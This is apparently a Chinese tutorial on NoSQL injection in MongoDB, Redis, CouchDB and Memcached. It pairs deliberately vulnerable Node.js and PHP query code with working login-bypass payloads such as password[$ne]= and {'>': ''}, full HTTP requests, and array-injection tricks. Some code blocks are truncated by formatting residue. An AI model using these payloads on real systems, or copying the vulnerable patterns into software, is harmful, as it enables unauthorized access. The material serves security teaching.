文章目录
SCOPE
| 数据库 | 数据类型 | 排名 | 
|---|---|---|
| mongoDB | 文档存储 | 5. | 
| redis | 键值对存储 | 9. | 
| memcached | 键值对存储 | 23. | 
| CouchDB | 文档存储 | 26. | 
node,php,python,ruby等通常使用NoSql数据库,为了更好的利用NoSql注入,需要部署对应的环境来进行测试。
攻击模型
环境
- 攻击者需要了解目标应用部署的技术栈,包括应用服务器、驱动、框架和数据库;
 - 攻击者可以在已授权的正常用户中向服务器端发送任意请求;
 
目标
- 修改查询参数, 使数据库执行额外的查询;
 - 可以触发意外的CRUD操作;
 
总览

NoSql注入 - 攻击者
- 了解非结构化数据查询语言
 - 具有多个数据库环境的多样化操作系统
 - 客户端通过RESTfull接口访问数据库
 
注入攻击
已知漏洞
- PHP,NodeJs + MongoDB:登陆绕过
 - 字符串连接依然是json和script参数的问题(读取配置)
 - 逃避驱动,如:Memcached
 
MongoDB 登陆绕过
nodejs 登陆绕过1
2
3
4
5// NodeJS with Express.js - 后台代码
db.collection("users").find({
    "user": req.query.user,
    "password": req.query.password
});
正常登陆链接: https://example.org/login?user=patrick&password=1234
exp: https://example.org/login?user=patrick&password[%24ne]=
1  | // NodeJS with Express.js - 后台代码  | 
其他语言类似代码:1
2
3
4
5// PHP
$collection->find(array(
    'user' => $_GET['user'],
    'password' => $_get['password']
));
1  | # Ruby on Rails  | 
1  | # Python with Django  | 
post请求注入1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16# json data
POST /login HTTP/1.1
Host: example.org
Content-Type: application/json
Content-Length: 38
{'user': 'patrick', 'password': {'>': ''}}
# form data
POST /login HTTP/1.1
Host: example.org
Content-Type: application/json
Content-Length: 29
user=Patrick&password[%24ne]=
Redis 参数重写注入
1  | // NodeJS with Express.js  | 
通过注入数组重写所有的参数, 只有NodeJS的Redis驱动受影响。payload: …/expire?key[]=foo&key[]=1117542887
CounchDB 登陆绕过
注入selector查询条件绕过登陆1
2
3
4
5
6
7
8// NodeJS with Express.js
function checkCredentials(user, password, callback) {
    var options = {'selector': {'user': user, 'password': password}};
    couch.use('users').get('_find', options, (err, res) => {
        callback(res.docs.length === 1);
    });
}
checkCredentials(req.query.user, req.query.password, handleResult);
payload: login?user=patrick&password[%24ne]=
使用特殊的文档__all_docs和未定义的password绕过登陆1
2
3
4
5
6
7
8// NodeJS with Express.js
function checkUser(user, password, callback) {
    nano.use('users').get(user, (err, res) => {
        callback(res.password === password);
    });
}
checkUser(req,query.user, req.query.password, handleResult);
payload: https://example.org/login?user=_all_docs
Memcached 数组注入
数组注入绕过应用层检查1
2
3
4
5
6
7
8
9
10
11function getCache(key) {
    if (key.indexOf('auth_') === 0{
        callback("Invalid key!");
    } else{
        memcached.get(key, (err, body) => {
            callback(err || body);
        }
    }
}
getCache(req.query.key, handleResult);